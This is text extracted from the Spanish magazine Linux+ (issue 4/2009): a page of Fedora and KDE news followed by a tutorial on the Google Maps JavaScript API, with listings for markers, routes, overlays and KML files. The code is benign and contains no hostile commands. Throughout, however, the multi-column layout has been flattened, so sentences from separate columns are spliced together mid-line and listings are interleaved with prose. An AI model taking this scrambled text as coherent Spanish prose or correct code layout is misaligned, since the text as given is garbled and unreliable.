dora 10 o como se la denominado Cambridge
Las nuevas características disponibles incluyen:

• Para lograr una mejora en el servidor de


Rusa está con las miras puestas en crear una
distro nacional propia y basada en GNU/ que, como es habitual, fue anunciada en las audio y un aumento del rendimiento del
LINUX y más concretamente en la versión listas de correo de la marca. mismo hubo de ser reescrito PulseAudio,
11 de Fedora. Por lo que se puede apreciar Como es evidente, cada nuevo lanzamien- con la intención de que usase la planifica-
y puesto que la base del desarrollo de la
distribución rusa va a ser la Fedora 11 es to viene plagado de mejoras. Entre ellas, ción del audio basada en temporizadores.
muy probable que el proyecto se encuentre podemos destacar un nuevo arranque, posibi- • El soporte para las webcam ha sido nota-
adelantado y no tardemos mucho en verla lidad de instalación remota virtual y así como blemente mejorado.
nacer. Claro está que todo ello será con el se ha migrado del servidor de las X de VT7 • También se ha llevado a cabo una gran me-
permiso de la burocracia rusa.
a VT1, también hace gala de una más fácil jora en el soporte para controles remotos
Fedora en la PS3 instalación de los códecs para Gstreamer infrarrojos en vías a hacer más fácil conec-
Aunque ya hace tiempo que salió la PS3 no y el nuevo entorno de escritorio LXDE. tarse y trabajar con muchas aplicaciones.
está demás recordar que el último juguetito
de Sony viene con la posibilidad de incor- También es de destacar entre todo lo actua- • Las direcciones /usr/local/sbin:/usr/
porar una versión de Fedora especialmente lizado: sbin:/sbin se agregaron a PATH para usu-
desarrollada para aprovechar las posibilida- arios normales, para simplificar las tareas de
des de la Consola. Para todos aquellos que • Kernel 2.6.27, administración en línea de comando.
la quieran ver en funcionamiento, existe
un vídeo en YouTube en el que se pueden • RPM 4.6, • El servicio de cuenta en línea provee a las
apreciar las maravillas de la técnica. • KDE 4.1, aplicaciones de credenciales de cuentas on-
• GNOME 2.24, line listadas en http://online.gnome.org o al-
Autoten
EasyLife es un proyecto creado en Brasil • Firefox 3.04, macenadas en Gconf: http://www.fedora
por el embajador de Fedora, Luís Felipe • OpenOffice.org 3.0. project.org/wiki/Features/OnlineAccounts
Bretas Marzagão, y tiene como misión ha- Service.
cer más simple la instalación de utilidades También y del mismo modo han sido puestos
y configuraciones del sistema en Fedora,
todo esto mediante un simple clic con el a disposición del usuario los repositorios free Para todos aquellos que quieran ver más a fon-
ratón y con la comodidad de un entorno y nonfree del proyecto RPM Fusion para Fe- do las características de Fedora 10, pueden
gráfico. Con una idea similar nace Autoten dora 10, incluyendo aplicaciones multimedia, dirigirse a la siguiente dirección: http://www.
pero en este caso se le añaden numerosas codecs, drivers para el Kernel, juegos y otro fedoraproject.org/wiki/Releases/10/FeatureList.
funcionalidades más. Además de lo que
hace EasyLife, permite instalar todo el software que el proyecto Fedora no incluye.
conjunto de programas que Google tiene Fedora 11 (Leonidas) Alpha
para Linux, múltiples codecs de vídeo y Vista global de Fedora 10 Recientemente hemos tenido la suerte de conocer
audio así como una aplicación de control Habitualmente la gente de Fedora nos tiene la versión alfa de la nueva criatura de Fedora Leo-
parental para Firefox, también los drivers
de Nvidia y ATI, drivers para las tarjetas acostumbrados a un continuo desarrollo en nidas. Entre lo que se vislumbra que va a propor-
WiFi con Chips Broadcom, el software de el campo del software libre y de código abierto cionar este nuevo lanzamiento encontramos:
virtualización VirtualBox y muchas otras y por supuesto en el caso de la nueva ver-
aplicaciones que nos harán la vida más fácil sión no iba a dejar de serlo. Vamos a dar un • Windows Cross Compiler (mingw32-*)
como se suele decir. Para poder realizar
todo ello, necesitas: ligero vistazo a los cambios que se han pro- Fedora 11 Alfa proporciona una vista pre-
• Una conexión a internet (activa se ducido para esta versión de Fedora que nació via de MinGW, un entorno de desarrollo
entiende). en noviembre. de Fedora para ejecutar en Windows sin
• Aparecerá un icono en el escritorio Entre otras muchas podemos destacar las utilizar Windows durante el desarrollo.
y en el Menú->Aplicaciones->Sistema
Herramientas->autoten siguientes mejoras como las más imprortantes: • Sistema de ficheros Ext4 por defecto.
• Btrfs, sistema de ficheros experimental de nu-
KDE 4.2
• La compartición de conexión inalámbrica eva generación y disponible en esta entrega.
Cumpliendo los plazos y fechas previstos,
se anunció la salida de el nuevo escritorio habilita la compartición de red ad hoc. • Nuevo control de sonido.
KDE 4.2. El 27 de enero como estaba pre- • Una mejor configuración y uso de impre- • PackageKit Firmware Support.
visto fue puesto a disposición del público la soras a través de herramientas de adminis- • GNOME 2.26.
nueva versión de uno de los escritorios más tración mejoradas. • KDE 4.2 Release Candidate 2.
populares.
Con este lanzamiento KDE se ha ganado • Se simplifica la provisión de almacena- • Xfce 4.6 Braeta.
el reconocimiento como mejor proyecto de miento para conexiónes locales y remotas • NetBeans 6.5.
Software Libre del año según los lectores de de virtualización. • Python 2.6.
la revista Linux Format, su comunidad ha • SecTool es un sistema nuevo de auditoría • Git 1.6.1.1.
avanzado a pasos agigantados y ahora cuenta
con mucha más estabilidad y usabilidad. de seguridad y detección de intrusión.
Anuncio oficial: http://www.kde.org/ • RPM 4.6 es una actualización importante Todo ya en preparación y optimización para el
announcements/4.2/ a las bibliotecas de administración de próximo 26 de mayo, fecha del nacimiento de
software poderosa y flexible. esta nueva versión de Fedora.

12 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps

Cómo crear mapas


con el API de Google Maps
e integrarlos en tu página web
Yaiza Temprado Rodríguez
La comodidad y flexibilidad de uso de los mapas de Google hacen que cada
vez más gente quiera poder integrarlos en sus páginas web, poder personalizarlos
e interactuar con ellos.

G
racias al API que Google ha puesto a dispo- literalmente por las calles de Madrid y Barcelona (aunque
linux@software.com.pl

sición de sus usuarios y la gran cantidad de previsiblemente en los próximos meses veremos aumentar el
ejemplos que pueden encontrarse en la red, ya número de ciudades disponibles).
podemos crear los mapas que mejor se ajusten Pero sin duda, lo que realmente supone una enorme dife-
a nuestras necesidades y aprovecharnos de todo el potencial rencia respecto a los callejeros tradicionales es tener a nuestro
que Google nos ofrece. A través del siguiente artículo daremos alcance todo el potencial de Google Maps para ponerlo a nu-
los primeros pasos para la construcción de mapas que cubran estro servicio y crear nuestros propios mapas, tan sencillos o com-
las necesidades de la mayoría de los lectores, aunque no hay plejos como queramos, a través de ls API pública y gratuita
que olvidar que Google Maps da mucho, mucho más de sí. de este servicio. Esto nos permite crear mapas personalizados
de todo tipo, desde mostrando la mejor ruta a nuestro negocio,
Introducción marcando los puntos de interés de nuestro pueblo o superpo-
A principios de 2005 Google lanzó el servicio de Google niendo otro mapa para mostrar cómo quedaría un lugar con una
Maps (http://maps.google.com), que consiste en una página nueva carretera. Las posibilidades son infinitas, y la flexibilidad
web en la que se nos muestra un mapa, con mayor o menor inmensa. A lo largo de este artículo daremos los primeros pasos,
detalle, de cualquier parte del mundo. Pero los mapas de Go- explicaremos los principios básicos necesarios para crear nues-
ogle son mucho más: sin duda lo que más sorprende de ellos tros propios mapas y algunas cosas interesantes que puedan ser
es el nivel de interactividad que permiten; desde moverse por de utilidad para sacar el máximo partido a este sistema.
el mapa, hacer zoom, mostrar e introducir lugares y fotos de
interés, hasta servicios más recientes, como mostrar el aspec- Lenguaje de programación
to real de las calles a través de capturas de satélites, mostrar y software recomendado
el tráfico (por ahora, sólo disponible en EEUU), o el más Para crear mapas con Google Maps el único lenguaje de pro-
reciente en España Google Street, que nos permite movernos gramación que nos va a hacer falta es Javascript. A pesar de

14 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps

que en la página de Google Maps nos advierten serie de restricciones, como mantener visibles Para crear nuestro primer mapa, creamos
de que es importante tener un conocimiento los logotipos atributivos (no podemos tapar la un documento .html con la estructura básica de
elevado de este lenguaje, la realidad es que hay imagen de Google en el mapa con otra imagen, una página web (head, body...) y copiamos den-
tantos ejemplos disponibles en la red que unos por ejemplo) o el número máximo de geolo- tro, por un lado el enlace a la clave que nos ha
pocos cambios normalmente serán suficientes calizaciones diarias al día (esto es, convertir dado Google (no olvides sustituir el valor que
para ajustarlos a nuestras necesidades. En cual- direcciones postales en coordenadas, lo cual sigue al parámetro key por tu propia clave):
quier caso, durante este artículo se irán dando está limitado a 15.000 diarias). En general,
algunas pautas necesarias sobre este lenguaje las condiciones son bastante buenas y serán <script src="http://maps.google.com/
para aquellos lectores que hayan trabajado más que suficientes para cualquier sitio que maps?
menos con Javascript, de forma que puedan estemos construyendo. No obstante, merece la file=api&amp;v=2&amp;key=MICLAVE&hl=es"
comprender los ejemplos y adaptarlos a lo que pena echarles un vistazo. Una vez completado type="text/javascript">
están buscando. el formulario, obtendremos nuestra clave: una </script>
Dado que hablamos de Javascript como larga ristra de números y letras. Es importante
lenguaje básico, el sistema operativo sobre el no perderla, ya que tendremos que meterla en Y por otro lado el código de nuestro primer
que vayan a correr los mapas será indiferente. Sí todos los mapas que construyamos. mapa propiamente dicho (Listado 1).
que es altamente recomendable utilizar para eje-
cutar y depurar el código el navegador Firefox, Listado 1. El código de nuestro primer mapa
ya que éste trae, en el menú Herramientas, una
Consola de Errores donde podremos ir viendo <script type="text/javascript">
los errores que cometamos con el Javascript. //<![CDATA[
Además, si se desea depurar el código con un // Comprobamos que el navegador es compatible
método más sofisticado, existe la posibilidad de if (GBrowserIsCompatible()) {
instalar el plugin para Firefox Venkman (http:// // Creamos la variable “mapa” y asignamos los controles básicos var
www.mozilla.org/projects/venkman/), que nos map = new GMap2(document.getElementById("map"));
ofrece un debugger completo para ir depurando map.addControl(new GlargeMapControl());
paso a paso nuestro código Javascript. map.addControl(new GmapTypeControl());
Respecto al editor de código, definitivamen- // Centramos el mapa y establecemos el nivel de zoom inicial.
te no existe el editor perfecto. Sin embargo, una map.setCenter(new GlatLng(40.41, -3.70),6);
posibilidad es instalar el plugin para Firefox Ex- }
tension Developer (https://addons.mozilla.org/ // Si no lo es, mostramos un aviso
es-ES/firefox/addon/7434), que nos permite else {
editar nuestro código Javascript o el de cualquier alert("Este navegador no es compatible con Google Maps");
página web que visitemos, guardar los ficheros }
modificados, etc. //]]>
Si nuestra intención es realizar mapas más </script>
complejos, por ejemplo en los que las coorde-
nadas se lean de una base de datos o que man-
den información a un servidor, será necesario Listado 2. Creando marcadores
mezclar el código Javascript en páginas con
un lenguaje de servidor, como puede ser PHP var point = new GLatLng(40.43,-4.78);
o JSP. Dado que su uso ya es para casos más var marker = crearMarcador(point,'Informacion sobre este punto')
específicos y complejos, en este artículos crea- map.addOverlay(marker);
remos mapas que puedan gestionarse comple- function crearMarcador(point,html) {
tamente a través de código Javascript, dejando var marker = new GMarker(point);
fuera esa posibilidad. GEvent.addListener(marker, "click", function() {
marker.openInfoWindowHtml(html);
Cómo crear un mapa básico });
Antes de empezar a jugar con el código Javas- return marker;
cript, necesitamos conseguir una clave de acceso }
al API de Google. Esta clave es gratuita y muy
fácil de conseguir, pero es un paso imprescin-
dible para tener acceso a las funciones del API. Listado 3. Definiendo un fichero XML
Para ello es necesario contar con una cuenta de
correo de Google e introducir la URL de nues- <markers>
tro sitio web en la siguiente dirección: http:// <marker lat="40.65" lng="-3.71" html="Info marcador 1" label="M1" />
code.google.com/intl/es/apis/maps/signup.html <marker lat="42.17" lng="-4.21" html="Info marcador 2" label="M2" />
Es importante leer con cuidado las con- <marker lat="43.89" lng="-1.29" html="Info marcador 3" label="M3" />
diciones de uso que se especifican, ya que </markers>
a pesar de que la API sea gratuita, tiene una

www.lpmagazine.org 15
gráfica y diseño web
Mapas con el API de Google Maps

dicho a través de la función crearMarcador


(a continuación), el cual recibe dos parámetros:
el punto que queremos pintar y lo que queremos
que se muestre en el globo que aparece cuando
se pincha sobre el marcador. Esta información
es código html puro y duro, con lo que podre-
mos introducir en él cualquier elemento de html
como una imagen, una tabla, etc. El último paso
es añadir el marcador al mapa mediante la fun-
ción addOverlay, que añade elementos o capas
sobre el mapa básico (en este caso, el marca-
dor). Será esta función la que usaremos para
añadir otros elementos al mapa, como rutas,
imágenes superpuestas, etc (Listado 2).

Figura 1. Primer mapa en la vista híbrida


Marcadores desde un fichero KML
Esta forma de definir los puntos está bien si
no tenemos demasiados. ¿Pero qué pasa si te-
nemos 50 puntos? ¿Vamos a definir cada uno
de ellos directamente dentro del código? Ob-
viamente no. Para ello, lo mejor es definir un
fichero XML con los campos necesarios para
definir cada marcador. Un ejemplo sería este
presentado en el Lisado 3.
De esta forma tenemos aislada la informa-
ción de los puntos de interés de nuestro código
fuente, quedando este último mucho más limpio
y escalable. Para leer ahora los marcadores que
Figura 2. Mapa con marcadores personalizados
hemos definido en el XML, lo único que debe-
Al abrir el documento con un navegador, ro a ver el caso más sencillo en el que tenemos mos hacer es lo que presenta el Listado 4.
veremos que con este código hemos creado un el punto exacto dado en sus coordenadas. Para
mapa completo, centrado en el punto que noso- ello, tendremos que introducir un poco más de Marcadores personalizados
tros queramos (tal y como se especifica en los código en nuestra página web. Por defecto, todos los marcadores que se crean
comentarios del código), con el nivel de zoom tienen exactamente el mismo aspecto: forma de
que hayamos decidido y la escala en la parte Marcadores básicos gota invertida, de color rojo claro y con un pun-
izquierda con la que el usuario puede controlar Por un lado, el siguiente código muestra cómo to negro en medio. Sin embargo, es muy proba-
el nivel de zoom. El mapa ya es plenamente se crea una variable point (que es la clase que ble que queramos cambiar este aspecto básico
funcional, y podemos moverlo y cambiarlo de maneja coordenadas, y el tipo de dato que va- de los iconos por imágenes que caractericen
tamaño exactamente igual que los mapas que mos a poder situar directamente en el mapa), mejor los puntos señalados. Para ello, primero
aparecen en Google Maps, además de mostrar y después creamos el marcador propiamente definiremos un objeto derivado del tipo GIcon
las tres vistas que ofrece:

• La normal con los nombre de las calles,


• La de satélite con el aspecto real de las
calles vistas desde arriba,
• Una versión mixta entre ambas.

Entre estas tres vistas podemos cambiar con


unos botones que se han creado en la parte su-
perior del mapa. Sin embargo, aún hay muchas
cosas que podemos añadir...

Cómo crear marcadores


Los marcadores son esos iconos en forma de
gota invertida que señalan una posición. Esta
posición puede estar marcada, o bien por un
texto (por ejemplo, Callao, 12, Madrid)
o por unas coordenadas (por ejemplo, lati-
tud=41.32, longitud=-3.71). Vamos prime- Figura 3. Cálculo de una ruta monstrando las indicaciones para llegar de un punto a otro

16 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps

(la imagen en sí) con las dimensiones que mejor dos parámetros: el punto y nuestro nuevo icono do, podemos obtener sus nuevas coordenadas y
se ajusten a nuestra imagen (Listado 5). (o, en lo que a nosotros nos afecta, la función actualizarlas, o bien en nuestro código, o bien
Una vez definido el nuevo tipo de icono, pasará de recibir como parámetros el punto y la en el fichero XML. Esta actualización podría
creamos las variables de ese tipo con la imagen información a mostrar, a recibir estos dos más hacerse de forma automática tirando un poco
que queremos que se muestre (tanto de base el icono personalizado) (Listado 6). más del hilo del código Javascript; pero eso
como de sombra): Por lo demás, el código permanece igual. queda fuera del propósito de este artículo, por
Sólo habrá que cambiar las llamadas a crear- lo que lo dejaremos para otra ocasión.
var miIcono = new GIcon(baseIcon, Marcador por crearMarcadorPersonalizado En cualquier caso, las funciones que de-
"imagenes/icono.png", null, que aparecen en el código anterior. bemos introducir en nuestro código para poder
"imagenes/iconoSombra.png"); arrastrar los marcadores de un punto a otro son
Marcadores Drag &Drop las que muestra el Listado 7.
Por último, definiremos una nueva función Pero los marcadores no tienen por qué permane- Como podemos ver, por un lado tenemos
para crear estos marcadores personalizados (o cer fijos en un punto. Podemos definirlos de tal que la definición del marcador ha cambiado
sobreescribiremos la que ya teníamos), cuya manera que el usuario pueda arrastrar el marca- ligeramente, ya que en esta ocasión, además de
mayor diferencia es que, a la hora de crear el dor hasta colocarlo en una nueva posición. Una crearlo dando la posición en la que debe estar,
objeto GMarker, llamamos a un constructor con vez situado en el punto que estábamos buscan- introducimos el modificador draggable, que
nos permite arrastrarlo. Ésta es la diferencia
Listado 4. Leyendo los marcadores más importante, ya que las funciones que reci-
ben los eventos de inicio y fin del arrastrado lo
var gmarkers = []; único que hacen es ocultar y mostrar la ventana
// Leemos del fichero coordenadas.xml de información respectivamente.
GDownloadUrl("coordenadas.xml", function(doc) { Para que este cambio de posición sea más
var xmlDoc = GXml.parse(doc); útil, vamos a modificar ligeramente la función
var markers = xmlDoc.documentElement.getElementsByTagName("marker"); que se invoca cuando soltamos el marcador en
for (var i = 0; i < markers.length; i++) { su nueva posición, de tal manera que la ventana
// Sacamos los campos del xml para cada marcador de información, en vez de mostrar un mensaje
var lat = parseFloat(markers[i].getAttribute("lat")); estático muestre las coordenadas del nuevo
var lng = parseFloat(markers[i].getAttribute("lng")); punto (Listado 8).
var point = new GLatLng(lat,lng);
var html = markers[i].getAttribute("html"); Creación de rutas
var label = markers[i].getAttribute("label"); La creación de rutas puede ser desde algo tan
// Creamos el marcador sencillo como unir dos puntos del mapa a través
var marker = crearMarcador(point,label,html); de una línea recta (que a priori puede no tener
// Y lo añadimos al mapa mucha utilidad) hasta la creación de rutas reales
map.addOverlay(marker); utilizando la información de Google Maps y, lo
} que es más importante en el caso de las rutas en
// Añadimos la barra lateral coche, las restricciones de las calles (dirección
document.getElementById("side_bar").innerHTML = side_bar_html; prohibida, sentido único, etc). Primero veremos
}); el caso básico de creación de líneas y luego nos
meteremos con el cálculo de rutas transitables.
Listado 5. Creando marcadores personalizados
Creación de una línea recta entre dos
var iconoNuevo = new GIcon();
o más puntos
// Las dimensiones de la imagen sombra del icono
La creación de líneas rectas entre dos o más
iconoNuevo.shadowSize=new Gsize(56,32);
puntos se llama Polyline, y su creación es muy
// Las dimensiones del icono
sencilla, ya que se basa en puntos exactamen-
iconoNuevo.iconAnchor=new Gpoint(16,32);
te iguales que los utilizados para la creación
//Las dimensiones de la ventana de información
de marcadores. Para pintar la ruta lo único
iconoNuevo.infoWindowAnchor=new Gpoint(16,0);
que necesitamos son las coordenadas de los
puntos que van a formar la ruta. Suponiendo
Listado 6. Definendo una nueva función para crear marcadores personalizados
que queremos pintar una ruta formada por tres
function crearMarcadorPersonalizado(point,html,miIcono) { puntos (aunque este número no está limitado),
var marker = new GMarker(point,icon); la función que pinta el Polyline será así como la
GEvent.addListener(marker, "click", function() { presenta el Listado 9.
marker.openInfoWindowHtml(html);
}); Creación de rutas reales para recorrer
return marker; a pie o en coche
} Pero sin duda, mucho más interesante que tra-
zar líneas rectas entre varios puntos, es obtener

www.lpmagazine.org 17
gráfica y diseño web
Mapas con el API de Google Maps

una ruta funcional entre ellos. Y sin embargo a otro, parece tener más sentido este caso que indicaciones) y lo utilizamos como parte de la
es incluso más sencillo que en el caso anterior, no dar directamente latitudes y longitudes. No llamada al constructor de GDirections. Ésto se
aunque hay que analizar con cuidado lo que obstante, si en algún caso es necesario disponer debe a que es en este elemento de la página (tí-
significa cada línea (Listado 10). de esa opción, el API de Google Maps también picamente un DIV) donde aparecerán las indica-
Por un lado vemos que en este caso hemos la contempla. ciones a las que Google nos tiene acostumbrados,
introducido directamente direcciones postales. Por otro lado vemos que sacamos un ele- del estilo de gire a la derecha en la tercera roton-
Dado que estamos dando una ruta de un punto mento del código html (en este caso llamado da o siga recto hasta la salida 36. No obstante, si
sólo quisiéramos mostrar la ruta dibujada sobre el
Listado 7. Introduciendo las funciones para poder arrastrar los marcadores de un punto a otro mapa al estilo de un Polyline y sin las indicacio-
nes exactas, lo único que tendríamos que hacer
var punto = new GLatLng(41.4419, -4.1419); es eliminar la referencia a la caja de texto, de la
var marker = new GMarker(punto, {draggable: true}); manera presentada en el Listado 11.
GEvent.addListener(marker, "dragstart", function() { Afortunadamente, el método load() de
map.closeInfoWindow(); GDirections admite ambas posibilidades.
});
GEvent.addListener(marker, "dragend", function() { Superposición de imágenes
marker.openInfoWindowHtml("Nueva posición del marcador"); La primera posibilidad que nos viene a la cabeza
}); tras saber manejar distintos tipos de iconos, crear
Polylines de colores y demás personalizaciones
Listado 8. Modificando la función para que muestre las coordenadas del nuevo punto es poder introducir una leyenda en el mapa, de
forma que la persona que lo está viendo entienda
GEvent.addListener(marker, "dragend", function(overlay,latlng) {
qué significa cada una de las cosas que hemos
var info = "Lat.: " + latlng.lat() + "<br/>Long.: " + latlng.lng();
introducido en el mapa. También puede intere-
marker.openInfoWindowHtml(info);
sarnos superponer el logotipo de nuestra empresa
});
o producto sobre el mapa de Google, o posicio-
nar sobre una dirección dada una foto de nuestro
Listado 9. Creando una línea recta
negocio. Claramente tratamos aquí con dos tipos
function crearRuta(puntos) { de imágenes: por un lado unas que queremos que
// Con esta linea creamos el polyline y permanezcan fijas en una posición y sin sufrir
// cambiamos el color y el ancho modificaciones dependientes del zoom (como
map.addOverlay(new GPolyline(puntos,'#000000','5')); puede ser la leyenda o el logo), y otras que tienen
} que moverse con el mapa ya que están ancladas
var puntos = []; a unas coordenadas determinadas. Veamos cómo
puntos[0] = new GlatLng(40.87, -3.75); podemos definir cada una de ellas.
puntos[1] = new GlatLng(41.21, -2.97);
puntos[2] = new GlatLng(39.82, -3.94); Superposición de imágenes fijas
// Llamamos a la función para que se pinte la ruta El código se basa en cosas que ya hemos visto
crearRuta(puntos); en ejemplos anteriores. Poco a poco vamos
viendo una tónica general en la forma de los
Listado 10. Creando una ruta real constructos de Google Maps (Listado 12):

var panelIndicaciones; • Por un lado creamos la capa que vamos


var direcciones; a colocar encima del mapa e indicamos dón-
function mostrarRuta(origen, destino) { de se encuentra la imagen a superponer.
panelIndicaciones = document.getElementById("indicaciones"); • El siguiente parámetro es la posición dentro
direcciones = new GDirections(map, panelIndicaciones); de la imagen (o fuera de ella) desde la que
direcciones.load("from: “ + origen + “ to:" + destino); queremos contar para posicionar la imagen.
} Es decir, si los valores para este parámetro
mostrarRuta('Galileo, 40, Madrid', 'Barceló, 3, Madrid'); son (0, 0) estaremos diciendo que la po-
sición de la pantalla que indiquemos con
Listado 11. Eliminando la referencia a la caja de texto el siguiente parámetro es donde tiene que
estar la esquina inferior izquierda.
var direcciones; • Definimos el punto en el que queremos si-
function mostrarRuta(origen, destino) { tuar la imagen, sabiendo que esta distancia
direcciones = new GDirections(map); se cuenta desde la esquina inferior izquier-
direcciones.load("from: " + origen + " to:" + destino); da del mapa y que por defecto se mide en
} píxeles (igual que en el punto anterior).
mostrarRuta('Galileo, 40, Madrid', 'Barceló, 3, Madrid'); • Definimos las dimensiones de la imagen.
Podemos definirlas como fracciones del ma-

18 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps

www.lpmagazine.org 19
gráfica y diseño web
Mapas con el API de Google Maps

pa o como número de píxeles. En este caso <styleUrl>, que es la que contiene el estilo por lo que las coordenadas están formadas por
hemos usado la medida de fracción (esta definido anteriormente que se va a aplicar (pre- 3 valores: latitud, longitud y altura.
forma de calcular las posiciones también cedido del símbolo '#'); segundo, recordar que Es muy importante saber que la estructura
puede aplicarse al resto de parámetros). ahora nos estamos moviendo en 3 dimesiones, del fichero es bastante fija, y sobre todo que
• Por último, como siempre, añadimos el ob-
jeto leyenda al mapa como una capa más. Listado 12. Superponiendo imágenes fijas

A pesar de lo fácil que es introducir imágenes var leyenda = new GScreenOverlay('images/leyenda.jpg',

en cualquier punto del mapa, no hay que olvi- new GScreenPoint(0, 0, 'fraction', 'fraction'),

dar que una de las condiciones de uso de la API new GScreenPoint(10, 5),

gratuita de Google Maps es dejar a la vista el new GScreenSize(0.2, 0.2, 'fraction', 'fraction'));

logo y demás información de autoría que se map.addOverlay(leyenda);

muestra por defecto. Lo contrario constituiría


una violación de la licencia, por lo que debemos Listado 13. Superponiendo imágenes ancladas
ser cuidadosos en este aspecto.
//Definimos los puntos que representan las esquinas suroeste y noreste
var so = new GLatLng(38.67,-3.21);
Superposición de imágenes
var ne = new GlatLng(38.68,-3.20);
ancladas a unas coordenadas
//Creamos el objeto que limitará la imagen a esos puntos
Para superponer una imagen que se encuentre
var limites = new GlatLngBounds(so, ne);
posicionada de forma fija, y que además mo-
//Creamos el objeto de la imagen anclada con la imagen y los límites
difique su tamaño de acuerdo con el nivel de
var imagen = new GGroundOverlay("imagen.jpg", limites);
zoom que estemos usando, el código es ligera-
//La añadimos como una capa más al mapa
mente diferente (Listado 13).
map.addOverlay(imagen);
De esta forma, tenemos la imagen centrada
entre dos puntos, lo que servirá como referencia
Listado 14. Un ejemplo de la estructura de un fichero KML
a la hora de dejar posicionada la imagen aunque
el usuario cambie de posición, y para mantener <?xml version="1.0" encoding="UTF-8"?>
el ratio de tamaño cuando se produce un zoom, <kml xmlns="http://earth.google.com/kml/2.2">
ya que la imagen también cambiará de tamaño <Document>
proporcionalmente para ajustarse al nuevo mapa. <Style id="polyAzul">
<LineStyle>
El formato KML <width>1.5</width>
Si alguno de los lectores ha intentado hacer algo </LineStyle>
con Google Maps se habrá dado cuenta de que <PolyStyle>
en muchas ocasiones se menciona el formato <color>7dff0000</color>
KML. KML está basado en XML y sirve para </PolyStyle>
mostrar datos geográficos en un navegador de </Style>
la Tierra, como Google Maps o Google Earth. <Placemark>
KML es un formato que inicialmente se definió <name>Edificio 41</name>
para Google Earth, por lo que la parte que apli- <styleUrl>#polyAzul</styleUrl>
ca en Google Maps es solamente un subconjun- <Polygon>
to de este estándar con el que podemos definir <extrude>1</extrude>
marcadores, Polylines, rutas, estilos, etc. <altitudeMode>relativeToGround</altitudeMode>
A continuación (Listado 14) se muestra un <outerBoundaryIs>
ejemplo de la estructura de un fichero KML en <LinearRing>
el que se ha definido un estilo personalizado <coordinates>
para un Polyline , así como la definición del -122.0858169768481,37.42231408832346,0
Polyline en sí utilizando este estilo. Toda la -122.085852582875,37.42230337469744,0
información de definición de aspecto gráfico -122.0858799945639,37.42225686138789,0
se encuentra entre etiquetas <Style></Style>, -122.0858860101409,37.4222311076138,0
dentro de las cuales se define otra etiqueta -122.0858069157288,37.42220250173855,0
indicando para qué tipo de elemento estamos </coordinates>
definiendo la apariencia; puede ser un icono </LinearRing>
(<IconStyle>) o, como en este caso, un Po- </outerBoundaryIs>
lyline (<LineStyle> para el grosor de la línea </Polygon>
y <PolyStyle> para el color). En la segunda </Placemark>
parte del fichero, donde se definen los puntos </Document>
que conforman el Polyline, es importante fi- </kml>
jarse en un par de detalles: primero, la etiqueta

20 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps

Sobre la autora
Yaiza Temprado Rodríguez (ytr@moviquity.
com) es Ingeniero Superior en Informática
y actualmente realiza su doctorado en la
Universidad Carlos III de Madrid. Además
de trabajar para Telefónica I+D como ex-
perta en Data Mining, imparte clases de
Aprendizaje Automático en la Universidad
Europea de Madrid. Es además adminis-
tradora de la página www.chicaslinux.org
y su bitácora personal puede encontrarse
en www.losmundosdeyaiza.com

dad con que están pensadas las clases y su


flexibilidad, hacen que poco tiempo después
de haber empezado a crear nuestros propios
mapas podamos deducir fácilmente cómo se
va a programar algo sin apenas mirar la do-
cumentación.
Con este artículo se ha pretendido dar una
visión general sobre las necesidades más fre-
Figura 4. Cálculo de una ruta anclando imágenes relevantes en los puntos de interés
cuentes que puede encontrarse un programa-
distingue entre minúsculas y mayúsculas en las defininirlo. Aunque ya queda fuera de este dor a la hora de crear uno de estos mapas,
etiquetas, lo que puede ser motivo de un por- tutorial, su potencia permite que pudiéramos aunque existen muchísimas más posibilida-
centaje muy alto de problemas con este forma- repetir casi cada uno de los elementos que se des, desde superponer otros mapas sobre los
to. En el siguiente ejemplo se ve la estructura y han ido explicando en apartados anteriores ya creados, colorear regiones del mapa o, in-
los campos necesarios para describir un marca- (rutas, inserción de imágenes, marcadores cluso, que al calcular una ruta entre dos pun-
dor en formato KML. De nuevo se repite, igual personalizados...). Para más información so- tos aparezca un icono de un coche recorriendo
que en el caso anterior, la característica de que bre la sintaxis y los distintos usos del formato la ruta para que podamos irla siguiendo. Las
cada marcador tiene 3 coordenadas, incluyendo KML se puede consultar el siguiente enlace: posiblidades son enormes, máxime cuando
la altura (Listado 15). http://code.google.com/intl/es-ES/apis/kml/ Google no se ha quedado de brazos cruzados
Una vez que hemos definido el fichero, ten- documentation/kml_tut.html#basic_kml y cada pocos meses nos enteramos de nuevos
dremos que guardarlo con extensión .kml o .kmz, servicios que van apareciendo, como el recien-
que permitirá que tanto Google Maps como Go- Conclusiones te Google Mars (con mapas de la superficie de
ogle Earth sean capaces de interpretarlo. Una vez Como hemos podido ver, la potencia del Marte) o Google Street (que permite que visi-
finalizado el fichero ya podemos mandarlo a Go- API de Google Maps que tenemos a nuestra temos las calles desde el punto de vista de un
ogle Maps como un parámetro más de la URL, disposición nos permite hacer desde mapas peatón). Las posibilidades a día de hoy ya son
de esta forma: http://maps.google.com/maps?q= muy sencillos hasta cualquier cosa que se enormes, pero seguro que el tiempo nos ofre-
http://www.ejemploscongooglemaps.com/ejemplo. nos ocurra, todo ello con el mínimo de código ce aún más posibilidades de diversión con los
kml. y sin tenernos que complicar la vida más allá nuevos servicios con los que, seguro, Google
¡Ojo! Para poder pintar nuestro fichero del lenguaje Javascript. Además, la uniformi- seguirá sorprediéndonos.
KML sobre Google Maps el fichero tiene que
estar disponible online. Es decir, por ejemplo la Listado 15. La estructura y los campos necesarios para describir un marcador en formato KML
ruta ?q=http://localhost/ejemplo1.kml no es vá-
lida. Otra cosa a tener en cuenta y que puede ha- <?xml version="1.0" encoding="UTF-8"?>

cer que resulte confuso el uso de KML es que, <kml xmlns="http://earth.google.com/kml/2.2">

una vez integrado un fichero .kml en un mapa, <Document>

si cambiamos el fichero el mapa permanece ca- <Placemark>

cheado durante un tiempo, haciendo invisibles <name>Ejemplo de marcador</name>

los cambios que hayamos realizado justo antes. <description>Esto seria un marcador</description>

El lenguaje KML resulta bastante sencillo <Point>

de utilizar, aunque a veces su gran potencia ha- <coordinates>102.595626,14.996729</coordinates>

ce que resulte complejo para aquellos que están </Point>

empezando a utilizarlo. Por ejemplo, el último </Placemark>

ejemplo mostrado en el que se ha definido un </Document>

punto de una forma muy sencilla, no es más </kml>

que una forma de las diversas que permite para

www.lpmagazine.org 21
gráfica y diseño web
Cuida de tu privacidad en Flickr

